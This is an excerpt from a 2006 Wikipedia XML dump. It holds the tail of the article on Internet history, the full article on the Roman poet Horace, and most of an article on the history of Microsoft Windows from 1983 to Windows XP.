* {{note|ABriefHistoryoftheInternet}} {{Citepaper | Author=[[Barry M. Leiner]], [[Vinton G. Cerf]], [[David D. Clark]], [[Robert E. Kahn]], [[Leonard Kleinrock]], [[Daniel C. Lynch]], [[Jon Postel]], [[Lawrence Roberts (scientist)|Larry G. Roberts]], [[Stephen Wolff]]  | Title=A Brief History of the Internet | PublishYear=2003 | URL=http://www.isoc.org/internet/history/brief.shtml }}
* {{note|Man-ComputerSymbiosis}} {{Citepaper | Author=[[J. C. R. Licklider]] | Title=Man-Computer Symbiosis   | PublishYear=1960 | URL=http://groups.csail.mit.edu/medg/people/psz/Licklider.html}} 
* {{note|ABriefHistoryofNSF}} {{Citepaper | Author=[[Thomas Greene]], [[Larry Landweber]], [[George Strawn]] | Title=A Brief History of NSF and the Internet | PublishYear=2003 | URL=http://www.nsf.gov/od/lpa/news/03/fsnsf_internet.htm}} 
* {{note|WhereWizardsStayUpLate}} {{cite book | authorlink = Katie Hafner | last = Hafner | first =  Katie  | title = Where Wizards Stay Up Late: The Origins Of The Internet | publisher = Simon &amp; Schuster | year = 1998 | id = 0-68-483267-4 }}
* {{note|FromtheARPANETtotheInternet}} {{Citepaper | Author=[[Ronda Hauben]] | Title=From the ARPANET to the Internet | PublishYear=2001 | URL=http://www.columbia.edu/~rh120/other/tcpdigest_paper.txt}} 
* {{note|InternationalOriginsandCollaborativeVision}} {{Citepaper | Author=[[Ronda Hauben]] | Title=The Internet: On its International Origins and Collaborative Vision | PublishYear=2004 | URL=http://www.ais.org/~jrh/acn/ACn12-2.a03.txt}} 
* {{note|InternetProtocolsatCERN}} {{Citepaper | Author=[[Ben Segal]] | Title=A Short History of Internet Protocols at CERN  | PublishYear=1995  | URL=http://www.ifla.org/documents/internet/segb1.htm}} 
* {{note|ComputerNetworks}} {{cite book | authorlink = Andrew S. Tanenbaum | last = Tanenbaum | first =  Andrew S. | title = Computer Networks | publisher = Prentice Hall | year = 1996 | id = 0-13-394248-1 }} 
* {{note|InternetHistoryTimeline}} {{Web reference | title=Internet History Timeline  | work=Internet History Timeline  | url=http://www.computerhistory.org/exhibits/internet_history/ | date=November 25 | year=2005}} 
* {{note|InternetPioneer}} {{Web reference | title=An Internet Pioneer Ponders the Next Revolution  | work=An Internet Pioneer Ponders the Next Revolution  | url=http://partners.nytimes.com/library/tech/99/12/biztech/articles/122099outlook-bobb.html?Partner=Snap | date=November 25 | year=2005}} 
* {{note|TheEarlyWorldWideWeb}} {{Web reference | title=The Early World Wide Web at SLAC | work=The Early World Wide Web at SLAC : Documentation of the Early Web at SLAC   | url=http://www.slac.stanford.edu/history/earlyweb/history.shtml | date=November 25 | year=2005}} 
* {{note|BritishTelecommsHistory}} {{Web reference | title=Events in British Telecomms History  | work=Events in British TelecommsHistory  | url=http://www.sigtel.com/tel_hist_brief.html | date=November 25 | year=2005}} 
* {{note|InternetHistory}} {{Web reference | title=Internet History  | work=Internet History  | url=http://www.mkaz.com/ebeab/history/ | date=November 25 | year=2005}} 
* {{note|TCP-IPDigest}} {{newsgroup reference Google | Author=[[Mike Muuss]]| Title=TCP-IP Digest, Vol 1 #10 | Date=5th January 1982 | Newsgroup=fa.tcp-ip | ID=anews. Aucbvax.5690 | URL=http://groups.google.co.uk/group/fa.tcp-ip/msg/7cfa39961cf92d12?dmode=source }} 
* {{note|RFC 801}} [[Jon Postel]], NCP/TCP Transition Plan, RFC 801
* {{note|MailHistory}} {{Web reference | title=The History of Electronic Mail  | work=The History of Electronic Mail  | url=http://www.multicians.org/thvv/mail-history.html | date=December 23 | year=2005}} 
* {{note|FirstMail}} {{Web reference | title=The First Network Email | work=The First Network Email  | url=http://openmap.bbn.com/~tomlinso/ray/firstemailframe.html | date=December 23 | year=2005}} 
* {{note|ChinaPCWorld}} {{Web reference | title=A brief history of the Internet in China | work=China celebrates 10 years of being connected to the Internet | url=http://www.pcworld.idg.com.au/index.php/id;854351844;pp;2;fp;2;fpid;1 | date=December 25 | year=2005}} 
* {{note|AsiaHist}} {{Web reference | title=Internet History in Asia
 | work=16th APAN Meetings/Advanced Network Conference in Busan  | url=http://www.apan.net/meetings/busan03/cs-history.htm | date=December 25 | year=2005}} 
* {{note|InterNICcontract}} {{Web reference | title=NIS Manager Award Announced | work=NSF NETWORK INFORMATION SERVICES AWARDS | url=http://www.ripe.net/ripe/maillists/archives/lir-wg/1992/msg00028.html | date=December 25 | year=2005}} 
* {{note|DDN-NIC}} {{Web reference | title=DDN NIC | work=IAB Recommended Policy on Distributing Internet Identifier Assignment | url=http://www.rfc-editor.org/rfc/rfc1174.txt | date=December 26 | year=2005}} 
* {{note|SRI-GSI}} {{Web reference | title=GSI-Network Solutions | work=TRANSITION OF NIC SERVICES | url=http://www.rfc-editor.org/rfc/rfc1261.txt | date=December 26 | year=2005}}
* {{note|PB-RAND}} {{Web reference | title=About Rand | work=Paul Baran and the Origins of the Internet | url=http://www.rand.org/about/history/baran.html | date=January 14 | year=2006 }}

[[Category:Digital Revolution]]
[[Category:History of computing|Internet, History of the]]
[[Category:Internet]]
[[Category:Telecommunications history]]

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[[da:Internettets historie]]
[[de:Geschichte des Internets]]
[[fr:Histoire de l'internet]]
[[it:Storia di Internet]]
[[lt:Interneto istorija]]
[[lv:Interneta vēsture]]
[[nl:Geschiedenis van het internet]]
[[pl:Historia Internetu]]
[[pt:História da Internet]]</text>
    </revision>
  </page>
  <page>
    <title>Horace</title>
    <id>13693</id>
    <revision>
      <id>41881244</id>
      <timestamp>2006-03-02T09:19:07Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pt</comment>
      <text xml:space="preserve">:''For other people named Horace, see [[Horace (disambiguation)]].''
[[Image:Quintus Horatius Flaccus.jpg|thumb|150px|right|Horace]]
'''Quintus Horatius Flaccus''', ([[December 8]], [[65 BC]] - [[November 27]], [[8 BC]]), known in the [[English language|English-speaking]] world as '''Horace''', was the leading [[lyric]] poet in [[Latin]], the son of a [[freedman]], but himself born free. His father, though poor, spent considerable money on Horace's education, accompanying him first to [[Rome]] for his primary education, and then to [[Athens]] to study [[Greek language|Greek]] and [[philosophy]]. Horace never took for granted his father's care and sacrifice, and his relationship with his father remains one of the most endearing personal episodes to survive from the classical period. In his own words (note that some of the beauty is lost in translation):

:''If my character is flawed by a few minor faults, but is otherwise decent and moral, if you can point out only a few scattered blemishes on an otherwise immaculate surface, if no one can accuse me of greed, or of pruriance, or of profligacy, if I live a virtuous life, free of defilement (pardon, for a moment, my self-praise), and if I am to my friends a good friend, my father deserves all the credit... As it is now, he deserves from me unstinting gratitude and praise. I could never be ashamed of such a father, nor do I feel any need, as many people do, to apologize for being a freedman's son.''
::'''[[Satire]]s 1.6.65-92'''

After the assassination of [[Julius Caesar]], Horace joined the army, serving under the generalship of [[Brutus]]. He was in the [[Battle of Philippi]], and saved himself by fleeing.  When an [[amnesty]] was declared for those who had fought against the victorious [[Augustus]], he returned to Italy, only to find his father dead, and his estate confiscated. Horace was reduced to poverty. He was, however, able to purchase a clerkship in the [[quaestor]]'s office, which allowed him to get by and practice his poetic art.  

Horace was a member of a literary circle that included [[Virgil]] and [[Lucius Varius Rufus]]; they introduced him to [[Maecenas]], friend and confidant of [[Augustus]]. Maecenas became his patron and close friend, and presented Horace with an estate near [[Tibur]], contemporary [[Tivoli, Italy|Tivoli]].

Perhaps the finest translator of Horace was [[John Dryden]], who successfully adapted most of the ''Odes'' into English verse for readers of his own age. These translations are favored by many scholars despite some textual variations. Others favor unrhymed translations.

Horace's surviving work includes: 

* Four books of ''[[Ode]]s'' (or [[Carmina]]), longer poems, usually on mythological subjects; 
* A book of ''[[Epode]]s'', containing shorter poems; 
* Two books of ''[[Satire]]s'', and 
* Two books of ''[[Letter]]s'' or ''[[Epistle]]s'', and
* The ''[[Carmen Saeculare]]''. 

One of the ''Epistles'' is often referred to as a separate work in itself, the ''[[Ars Poetica]]''. In this work, Horace forwards a theory of poetry. His most important tenets are that poetry must be carefully and skillfully worked out on the semantic and formal, and that poetry should be wholesome as well as pleasant. This latter issue is often referred to as the ''dulce et utile,'' which is Latin for the sweet and useful. (This work was first translated into English by [[Elizabeth I of England|Queen Elizabeth I]]).

Horace is generally considered by [[classicist]]s to be, along with [[Virgil]], the greatest of the Latin poets. He wrote many [[List of Latin phrases|Latin phrases]] that remain in use, in Latin or in translation, including [[carpe diem]], &quot;seize the day,&quot; and ''aurea mediocritas'', the &quot;golden mean.&quot;  His works are written exclusively in Greek [[meter (poetry)|metre]]s, from the [[hexameter]], which was relatively easy to adapt to Latin, to the more complex measures used in the ''Odes'', like [[alcaic]]s and [[Sapphic stanza|sapphic]]s, which were sometimes a difficult fit for Latin structure and [[syntax]]. No Latin writer handles these metres with such grace, precision and lightness of touch, although [[Catullus]] comes close. The ''Satires'' and ''Epistles'' are his most personal works, and perhaps the most accessible to contemporary readers unable to appreciate the verbal magic of the ''Odes''.

== Works ==
* ([[35 BC]]) ''[[Sermonum liber primus]]'' or ''Satirae I'' [http://www.thelatinlibrary.com/horace/serm1.shtml]
* ([[30 BC]]) ''[[Epodes]]'' [http://www.thelatinlibrary.com/horace/ep.shtml]
* (30 BC) ''[[Sermonum liber secundus]]'' or ''Satirae II'' [http://www.thelatinlibrary.com/horace/serm2.shtml]
* ([[23 BC]]) ''[[Carminum liber primus]]'' or ''Odes I'' [http://www.thelatinlibrary.com/horace/carm1.shtml]
* (23 BC) ''[[Carminum liber secundus]]'' or ''Odes II'' [http://www.thelatinlibrary.com/horace/carm2.shtml]
* (23 BC) ''[[Carminum liber tertius]]'' or ''Odes III'' [http://www.thelatinlibrary.com/horace/carm1.shtml]
* ([[20 BC]]) ''[[Epistularum liber primus]]'' [http://www.thelatinlibrary.com/horace/epist1.shtml]
* ([[18 BC]]) ''[[Ars Poetica]]'', or ''The Epistle to the Pisones'' [http://www.thelatinlibrary.com/horace/arspoet.shtml]
* ([[17 BC]]) ''[[Carmen Saeculare]]'' or ''Song of the Ages'' [http://www.thelatinlibrary.com/horace/carmsaec.shtml]
* ([[14 BC]]) ''[[Epistularum liber secundus]]'' [http://www.thelatinlibrary.com/horace/epist2.shtml]
* ([[13 BC]]) ''[[Carminum liber quartus]]'' or ''Odes IV'' [http://www.thelatinlibrary.com/horace/carm4.shtml]

== See also ==
* ''[[Dulce et decorum est pro patria mori]]''

==External links==
{{wikiquote}}
{{wikisourcelang|la|Quintus Horatius Flaccus|Latin texts of Quintus Horatius Flaccus}}
*{{gutenberg author|id=Horace_(-65--8)|name=Horace}}
*[http://quintus.horatius.free.fr/ Espace Horace]
*[http://www.thelatinlibrary.com/hor.html The works of Horace] at [[The Latin Library]]
*[http://www.poetseers.org/the_great_poets/the_classics/horace/ Selected Poems of Horace]
*[http://www.perseus.tufts.edu/cache/perscoll_Greco-Roman.html ''The Perseus Project'' -- Latin and Greek authors (with English translations), including Horace]

*[http://www.stoa.org/diotima/anthology/horawillbio.shtml Biography and chronology]

*[http://www.biblion.com/litweb/biogs/horace.html Litweb]

[[Category:65 BC births]]
[[Category:8 BC deaths]]
[[Category:Roman era poets]]
[[Category:Ancient Roman soldiers]]

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[[cs:Quintus Horatius Flaccus]]
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[[uk:Горацій]]</text>
    </revision>
  </page>
  <page>
    <title>History of Microsoft Windows</title>
    <id>13694</id>
    <revision>
      <id>41828143</id>
      <timestamp>2006-03-02T00:29:26Z</timestamp>
      <contributor>
        <ip>68.184.31.85</ip>
      </contributor>
      <comment>/* Late 2006: Windows Vista */</comment>
      <text xml:space="preserve">[[Image:Microsoft Windows.png|thumb|right|Windows logo]]

In [[1983]] [[Microsoft]] announced its development of [[Microsoft Windows|Windows]], a [[graphical user interface]] (GUI) for its own [[operating system]] ([[MS-DOS]]) that had shipped for [[IBM PC]] and compatible computers since [[1981]].  Microsoft modeled the GUI, which was first known as Interface Manager, after that of [[Apple Computer|Apple]]'s [[Mac OS]]. [[Bill Gates]] had been shown a [[Apple Macintosh|Macintosh]] prototype by [[Steve Jobs]] early in its development, around [[1981]], and Microsoft was partnered by Apple to create some of the important early Mac software, such as [[Microsoft Word|Word]] and [[Microsoft Excel|Excel]].

==Early history ==

The first independent version of Microsoft Windows, version 1.0, released in [[1985]], lacked a degree of functionality and achieved little popularity. It was originally going to be called '''Interface Manager''', but [[Rowland Hanson]], the head of marketing at Microsoft, convinced the company that the name '''Windows''' would be a more appealing name to consumers.  [[Windows 1.0]] did not provide a complete operating system, but rather extended [[MS-DOS]] and shared the latter's inherent flaws and problems. Moreover, the programs that shipped with the early version comprised &quot;toy&quot; applications with little or limited appeal to [[business]] users. 

Furthermore, legal challenges by [[Apple Computer|Apple]] limited its functionality. For example, windows could only appear 'tiled' on the screen; that is, they could not overlap or overlie one another. Also, there was no trash can (place to store files prior to deletion), since Apple believed they owned the rights to that paradigm. Microsoft later removed both of these limitations by means of signing a licensing agreement.  

Microsoft Windows version 2 came out in [[1987]], and proved slightly more popular than its predecessor.  Much of the popularity for [[Windows 2.0]] came by way of its inclusion as a &quot;run-time version&quot; with Microsoft's new graphical applications, [[Microsoft Excel | Excel]] and [[Microsoft Word | Word for Windows]]. They could be run from MS-DOS, executing Windows for the duration of their activity, and closing down Windows upon exit (rumor has it that Windows was intended as a platform to run [[Microsoft Office]] applications first, and only later as a general-use GUI system).  

Microsoft Windows received a major boost around this time when [[Aldus]] Pagemaker appeared in a Windows version, having previously run only on  [[Apple Macintosh | Macintosh]]. Some computer historians date this, the first appearance of a significant ''and'' non-Microsoft application for Windows, as the beginning of the success of Windows.

Versions 2.0x still used the [[real mode | real-mode]] [[computer storage|memory]] model, which confined it to a maximum of 1 [[megabyte]] of memory. In such a configuration, it could run under another multitasker like [[DESQview]], which used the [[Intel 80286|286]] [[protected mode | Protected Mode]]. Later two new versions were released, named Windows/286 2.1 and Windows/386 2.1. Windows/286 was just adding a few additions to Windows 2.0 and still ran in real mode, but was the first version to support using the HMA, while Windows/386 had a protected mode kernel with EMS emulation, and no, it isn't kernel.exe (that and all Windows applications were still real mode applications, running over the protected mode kernel by using virtual 8086 mode, which is new to the 80386 and not only that, even DOS applications ran over it), it is win386.exe.

Version 2.03, and later 3.0, faced legal challenges from Apple over its overlapping windows and other features Apple charged mimicked the &quot;look and feel&quot; of its operating system and &quot;embodie[d] and generate[d] a copy of the Macintosh&quot; in its OS.  Judge [[William Schwarzer]] dropped all but 10 of the 189 charges that Apple had sued Microsoft with on [[January 5]] [[1989]].

== Success with Windows 3.0==

Microsoft Windows scored a serious success with [[Windows 3.0]], released in [[1990]]. In addition to improved capabilities given to native applications, Windows also allowed a user to better multitask older MS-DOS based software compared to Windows/386, thanks to the introduction of [[virtual memory]]. It made PC compatibles serious competitors to the Apple Macintosh. This benefited from the improved graphics available on PCs by this time (by means of VGA video cards), and the Protected/Enhanced mode which allowed Windows applications to use more memory in a more painless manner than their DOS counterparts could. Windows 3.0 could run in any of Real, Standard or 386 Enhanced modes, and was compatible with any Intel processor from the [[Intel_8086|8086]]/[[Intel_8088|8088]] up to [[Intel_80286|80286]] &amp; [[Intel_80386|80386]]. Windows tried to auto detect which mode to run in, although it could be forced to run in a specific mode using the switches: /r [[Real_mode|(real)]], /s [[standard_mode|(standard)]] and /3 ([[386 enhanced mode|386 enhanced]]) respectively. This was the first version to run Windows programs in protected mode, although the 386 enhanced mode kernel (again, it is not krnl386.exe, that was a program that ran in [[ring 3]] of protected mode, and switched to that mode through [[DPMI]], it is win386.exe) was an enhanced version of the protected mode kernel in Windows/386. 

Due to this backwards compatibility, applications also had to be compiled in a 16-bit environment, without ever using the full 32-bit capabilities of the 386 CPU.

A limited multimedia version, Windows 3.0 with Multimedia Extensions 1.0, was released several months later. This was bundled with the first sound card / CD-ROM multimedia kits e.g. Creative Labs Sound Blaster Pro along with titles such as MS Bookshelf. This version was the precursor to the multimedia features available in v3.1 later.

However, the features listed above, as well as the growing market support made Windows 3.0 wildly successful&amp;mdash;selling around 10 million copies in the two years before the release of version 3.1, Windows 3.0 became a major source of income for Microsoft, and led the company to revise some of its earlier plans.

== A step sideways: OS/2 ==
During the mid to late 1980s, Microsoft and IBM had co-operatively been developing [[OS/2]] as a successor to DOS, to take full advantage of the aforementioned Protected Mode of the [[Intel 80286]] processor, to allow use of up to 16M of memory. OS/2 1.0, released in 1987, supported swapping and multitasking and allowed running of DOS executables.

A [[GUI]], called the Presentation Manager (PM), was not available with OS/2 until version 1.1, released in 1988. Although some considered it to be in many ways superior to Windows, its [[application programming interface|API]] was incompatible with Windows. (Among other things, Presentation Manager placed X,Y coordinate 0,0 at the ''bottom'' left of the screen like [[Cartesian coordinates]], while Windows put 0,0 at the ''top'' left of the screen like most other computer window systems.) Version 1.2, released in 1989, introduced a new [[file system]], [[HPFS]], to replace the DOS [[File Allocation Table|FAT]] file system used by Windows.

By the early 1990s, conflicts developed in the Microsoft/IBM relationship. They co-operated with each other in developing their PC operating systems, and had access to each other's code. Microsoft wanted to further develop Windows, while IBM desired for future work to be based on OS/2. In an attempt to resolve this tension, IBM and Microsoft agreed that IBM would develop OS/2 2.0, to replace OS/2 1.3 and Windows 3.0, while Microsoft would develop a new operating system, OS/2 3.0, to later succeed OS/2 2.0.

This agreement soon however fell apart, and the Microsoft/IBM relationship was terminated. IBM continued to develop OS/2, while Microsoft changed the name of its (as yet unreleased) OS/2 3.0 to [[Windows NT]]. Both retained the rights to use OS/2 and Windows technology developed up to the termination of the agreement; Windows NT, however, was to be written anew, mostly independently (see below). 

After an interim 1.3 version to fix up many remaining problems with the 1.x series, IBM released OS/2 version 2.0 in 1992. This was a major improvement: it featured a new, object-oriented GUI, the Workplace Shell (WPS), that included a desktop and was considered by many to be OS/2's best feature. Microsoft would later imitate much of it in Windows 95. Version 2.0 also provided a full 32-bit API, offered smooth multitasking and could take advantage of the 4 gigabytes of address space provided by the [[Intel 80386]]. Still, much of the system still had 16-bit code internally which required, among other things, device drivers to be 16-bit code as well. This was one of the reasons for the almost chronic bad supply of OS/2 with up-to-date device support. Version 2.0 could also run DOS and Windows 3.0 programs, since IBM had retained the right to use the DOS and Windows code as a result of the breakup. 

At the time, it was unclear who would win the so-called &quot;Desktop wars&quot;. But in the end, OS/2 did not manage to gain enough market share, even though IBM released several improved versions subsequently (see below).

== Windows 3.1 and NT ==
[[Image:MS Windows logo.png|right|200px|Windows 3.1x logo]]
[[Image:Windows_3.11_workspace.png|thumbnail|300px|Typical Windows 3.11 desktop]] 

In response to the impending release of OS/2 2.0, Microsoft developed [[Windows 3.1x#Windows 3.1|Windows 3.1]], which included several minor improvements to Windows 3.0 (such as display of [[TrueType]] scalable fonts, developed jointly with Apple), but primarily consisted of bugfixes and multimedia support. It also removed support for Real mode, and would only run on a [[80286]] or better processor. Later Microsoft also released Windows 3.11, a touch-up to Windows 3.1 which included all of the patches and updates that followed the release of Windows 3.1 in 1992. Around the same time, Microsoft released Windows for Workgroups (WfW), available both as an add-on for existing Windows 3.1 installations and in a version that included the base Windows environment and the networking extensions all in one package. Windows for Workgroups included improved network drivers and protocol stacks, and support for peer-to-peer networking. One optional download for WfW was the 'Wolverine' TCP/IP protocol stack, which allowed for easy access to the Internet through corporate networks. There were two versions of Windows for Workgroups, WfW 3.1 and WfW 3.11. Unlike the previous versions, Windows for Workgroups 3.11 only runs in 386 Enhanced mode, and requires at least an [[80386]]SX processor.

All these versions continued version 3.0's impressive sales pace. Even though the 3.1x series still lacked most of the important features of OS/2, such as long file names, a desktop, or protection of the system against misbehaving applications, Microsoft quickly took over the OS and GUI markets for the [[IBM PC]]. The [[Windows API]] became the de-facto standard for consumer software.

Meanwhile Microsoft continued to develop Windows NT.  Microsoft hired [[Dave Cutler]], one of the chief architects of [[Virtual Memory System|VMS]] at [[Digital Equipment Corporation]] (later purchased by [[Compaq]], now part of [[Hewlett-Packard]]) to develop NT into a more capable operating system. Cutler had been developing a follow-on to [[Virtual Memory System|VMS]] at [[Digital Equipment Corporation|DEC]] called Mica, and when DEC dropped the project he brought the expertise and some engineers with him to Microsoft. DEC also believed he brought Mica's code to Microsoft and sued. Microsoft eventually paid $150 million US and agreed to support DEC's [[DEC Alpha|Alpha]] CPU chip in NT.

Windows NT 3.1 (Microsoft marketing desired to make Windows NT appear to be a continuation of Windows 3.1) arrived in Beta form to developers at the July [[1992]] [[Professional Developers Conference]] in [[San Francisco]]. Microsoft announced at the conference its intentions to develop a successor to both Windows NT and Windows 3.1's replacement (code-named Chicago), which would unify the two into one operating system. This successor was codenamed [[Cairo (operating system)|Cairo]]. (In hindsight, Cairo was a much more difficult project than Microsoft had anticipated, and as a result, NT and Chicago would not be unified until [[Windows XP]], and still, parts of Cairo have not made it into Windows as of today.  Specifically, the WinFS subsystem, which was the much touted Object File System of Cairo, has now been put on hold, and will not be released with Longhorn/Vista).

Driver support was lacking due to the increased programming difficulty in dealing with NT's superior hardware abstraction model. This problem plagued the NT line all the way through Windows 2000. Programmers complained that it was too hard to write drivers for NT, and hardware developers were not going to go through the trouble of developing drivers for a small segment of the market. Additionally, although allowing for good performance and fuller exploitation of system resources, it was also resource-intensive on limited hardware, and thus was only suitable for larger, more expensive machines. Windows NT would not work for private users because of its resource demands; moreover, its GUI was simply a copy of Windows 3.1's, which was inferior to the OS/2 Workplace Shell, so there was not a good reason to propose it as a replacement to Windows 3.1.

However, the same features made Windows NT perfect for the [[local area network|LAN]] server market (which in 1993 was experiencing a rapid boom, as office networking was becoming a commodity), as it enjoyed advanced network connectivity options, and the efficient [[NTFS]] file system. Windows NT version 3.51 was Microsoft's stake into this market, a large part of which would be won over from Novell in the following years.

One of Microsoft's biggest advances initially developed for Windows NT was new 32-bit API, to replace the legacy 16-bit [[Windows API]]. This API was called [[Win32]], and from then on Microsoft referred to the older 16-bit API as [[Win16]]. Win32 API had three main implementations: one for Windows NT, one for [[Win32s]] (which was a subset of Win32 which could be used on Windows 3.1 systems), and one for Chicago. Thus Microsoft sought to ensure some degree of compatibility between the Chicago design and Windows NT, even though the two systems had radically different internal architectures.

== Windows 95 ==
[[Image:Am windows95 desktop.png|thumbnail|300px|A typical Microsoft Windows 95 desktop]] 
After [[Windows 3.1x|Windows 3.11]], Microsoft began to develop a new version of the operating system code-named Chicago. Chicago was  designed to be fully 32-bit and support pre-emptive multitasking, like OS/2 and Windows NT, that would improve its stability as opposed to the notoriously unstable 3.11. Many parts of the operating system's core were rewritten; others went through an elaborate overhaul. Win32 [[API]] was adopted as the standard external interface, Win16 compatibility being preserved through various measures and tricks. A new GUI was not originally planned as part of the release, although elements of the Cairo user interface were borrowed and added as other aspects of the release (notably Plug and Play) slipped.

Microsoft did not change all of the Windows code to 32-bit; parts of it remained 16-bit (albeit not directly using [[real mode]]) for reasons of compatibility, performance and development time. This, and the fact that the numerous design flaws had to be carried over from the earlier Windows versions, eventually began to impact on the operating system's efficiency and stability.

Microsoft marketing adopted [[Windows 95]] as the product name for Chicago when it was released on [[August 24]], [[1995]]. Microsoft had a double gain from its release: first it made it impossible for consumers to use a cheaper, non-Microsoft DOS; secondly, although traces of DOS were never completely removed from the system, and a version of DOS would be loaded briefly as a part of the [[bootstrap]] process, Windows 95 applications ran solely in 386 Enhanced Mode, with a flat 32-bit address space and [[virtual memory]]. These features made it possible for Win32 applications to address up to 2 [[gigabyte]]s of virtual RAM (with another 2GB reserved for the operating system), and (at least in theory) prevented them from corrupting the memory space of other Win32 applications. In this respect the functionality of Windows 95 moved closer to Windows [[NT]], although Windows 95/98/ME did not support more than 512 [[megabyte]]s of physical RAM without obscure system tweaks.

[[IBM]] continued to market OS/2, producing later versions in OS/2 3.0 and 4.0 (also called Warp). Responding to complaints about OS/2 2.0's high demands on computer hardware, version 3.0 was significantly optimized both for speed and size. Before Windows 95 was released, OS/2 Warp 3.0 was even shipped preinstalled with several large German hardware vendor chains. However, with the release of Windows 95, OS/2 began to lose marketshare.  

It is probably impossible to nail down a specific reason why OS/2 failed to gain much marketshare. While OS/2 continued to run Windows 3.1 applications, it lacked support for anything but the [[Win32s]] subset of Win32 API (see above). Unlike Windows 3.1, IBM did not have access to the source code for Windows 95 and was unwilling to commit the time and resources to emulate the moving target of the Win32 API. IBM also introduced OS/2 into the [[United States v. Microsoft]] case, blaming unfair marketing tactics on Microsoft's part, but many people would probably agree that IBM's own marketing problems and lack of support for developers contributed at least as much to the failure.

Microsoft released 5 Versions of Windows 95:
*Windows 95 Original Release
*Windows 95 A - included Windows 95 Service Pack 1 [[Slipstream (computing)|slipstreamed]] into the installation.
*Windows 95 B - ([[OSR2]]) included several major enhancements, [[Internet Explorer]] (IE) 3.0 and full [[File Allocation Table|FAT32]] file system support.
*Windows 95 B USB - [[OSR2.1]], included basic [[Universal Serial Bus|USB]] support.
*Windows 95 C - ([[OSR2.5]]) included all the above features, plus IE 4.0. This was the last 95 version produced.

OSR2, OSR2.1, and OSR2.5 were not released to the general public, rather, they were available only to [[Original equipment manufacturer|OEM]]s that would preload the OS onto computers.  Some companies sold new hard drives with OSR2 preinstalled (officially justifying this as needed due to the hard drive's capacity).

== Windows NT 4.0==
[[Image:Nt4server.png|right|thumb|300px|Windows NT 4.0 Server Desktop]]
Originally developed as a part of its effort to introduce Windows NT to the workstation market, Microsoft released [[Windows NT 4.0]], which featured the new Windows 95 interface on top of the Windows NT kernel (a patch was available for developers to make NT 3.51 use the new UI, but it was quite buggy; the new UI was first developed on NT but Windows 95 was released before NT 4.0).

Windows NT 4.0 came in four flavors:
*Windows NT 4.0 Workstation
*Windows NT 4.0 Server
*Windows NT 4.0 Server, Enterprise Edition (includes support for 8-way [[SMP]] and [[clustering]])
*Windows NT 4.0 Terminal Server


{{Clr}}

== Windows 98 ==
[[Image:Word 6.0 on Win98SE.png|thumb|right|300px|Windows 98SE with the &quot;Jungle&quot; theme, and a couple of the programs from Microsoft Office 4.3 running.]]
On [[June 25]], [[1998]], Microsoft released [[Windows 98]], which was widely regarded as a minor revision of Windows 95. It included new hardware drivers and the [[File Allocation Table|FAT32]] file system to support disk partitions larger than the 2 GB allowed by Windows 95.  [[USB]] support was far superior to the token, sketchy support provided by the [[Original equipment manufacturer|OEM]] editions of Windows 95.  It also controversially integrated the [[Internet Explorer]] browser into the Windows GUI and Windows Explorer file manager, prompting the opening of the [[United States v. Microsoft]] case, dealing with the question whether Microsoft was abusing its hold on the PC operating system market to push its products in other areas.

In [[1999]], Microsoft released Windows 98 Second Edition, an interim release whose most notable feature was the addition of [[Internet Connection Sharing]] (a brand name for a form of [[network address translation]]), which allowed several machines on a LAN to share a single [[internet connection]].  Hardware support through device drivers was increased.  Many minor issues were found and fixed which make it, according to many, the most stable version of Windows on the Win9x kernel.

{{Clr}}

== Windows Millennium Edition (Me) ==
[[Image:WindowsME.png|right|thumb|300px|Windows Millennium Edition Desktop]]
In September 2000, Microsoft introduced [[Windows Me]] (Millennium Edition), which upgraded Windows 98 with enhanced multimedia and Internet features.  It also introduced the first version of ''System Restore'', which allowed users to revert their system state to a previous &quot;known-good&quot; point in the case of system failure.  System Restore was a notable feature that made its way into Windows XP.  The first version of [[Windows Movie Maker]] was introduced as well.

Windows Me was conceived as a quick one-year project that served as a stopgap release between Windows 98 and Windows XP. As a result, Windows Me was not acknowledged as a unique OS along the lines of 95 or 98.  Windows Me was widely and sometimes unfairly criticised for serious stability issues and for lacking [[real mode]] DOS support, to the point of being referred to as the &quot;Mistake Edition&quot;.

{{Clr}}

== Windows 2000 ==
[[Image:Windows2000.png|right|thumb|300px|Windows 2000 Desktop]]
{{main|Windows 2000}}
[[Image:Wlogo.png|left|thumb|Windows logo, as of circa 2000]]
Microsoft released Windows 2000, known during its development cycle as &quot;NT 5.0&quot;, in February 2000. It was successfully deployed both on the server and the workstation markets. Windows 2000, claimed by some to be the best Windows version to date, incrorporated a number of features, in particular the user interface, from Windows 98. Windows 2000 also introduced [[Active Directory]], a near-complete replacement of NT 4's [[Windows Server domain]] model, which built on industry-standard technologies like [[Domain Name System|DNS]], [[Lightweight Directory Access Protocol|LDAP]] and [[Kerberos]] to connect machines to one another.  [[Terminal Services]], previously only available as a separate edition of NT 4, was expanded to all server versions.

While Windows 2000 could upgrade a computer running Windows 98, Microsoft did not see Windows 2000 as a product designed for home users; instead, a continuation of the Windows 95/98 product line was shipped shortly after Windows 2000 called Windows Me.

Windows 2000 came in five editions:
*Windows 2000 Professional
*Windows 2000 Server
*Windows 2000 Advanced Server
*Windows 2000 Datacenter Server
*Windows 2000 Small Business Server

{{Clr}}

== Windows XP: Merging the product lines  ==
{{seealso|Features new to Windows XP}}
[[Image:Windows_xp_desktop.PNG|thumbnail|300px|A typical Windows XP desktop.]] 
In 2001, Microsoft introduced [[Windows XP]]. The merging of the Windows NT/2000 and Windows 3.1/95/98/ME lines was achieved with Windows XP (codenamed &quot;Whistler&quot;). Windows XP uses the Windows NT 5.1 [[kernel (computers)|kernel]]; however, it finally marks the entrance of the Windows NT core to the consumer market, to replace the aging 16-bit branch.

Windows XP is available in a number of versions:

*&quot;Windows XP Home Edition&quot;, for home desktops and [[laptop]]s (notebooks)
*&quot;Windows XP Home Edition N&quot;, as above, but without a default installation of [[Windows Media Player]], as mandated by a [[European Union]] ruling
*&quot;Windows XP Professional Edition&quot;, for business and power users
*&quot;Windows XP Professional Edition N&quot;, as above, but without a default installation of Windows Media Player, as mandated by a European Union ruling
*[[Windows XP Media Center Edition]] (MCE), released in November 2002 for desktops and notebooks with an emphasis on audio, video, and [[Personal video recorder|PVR]] capability
** Windows XP Media Center Edition 2003
** Windows XP Media Center Edition 2004
** Windows XP Media Center Edition 2005, released on October 12th, 2004.
*&quot;Windows XP Tablet PC Edition&quot;, for [[tablet PC]]s (notebooks with [[touch screen]]s)
*[[Windows XP Embedded]], for embedded systems
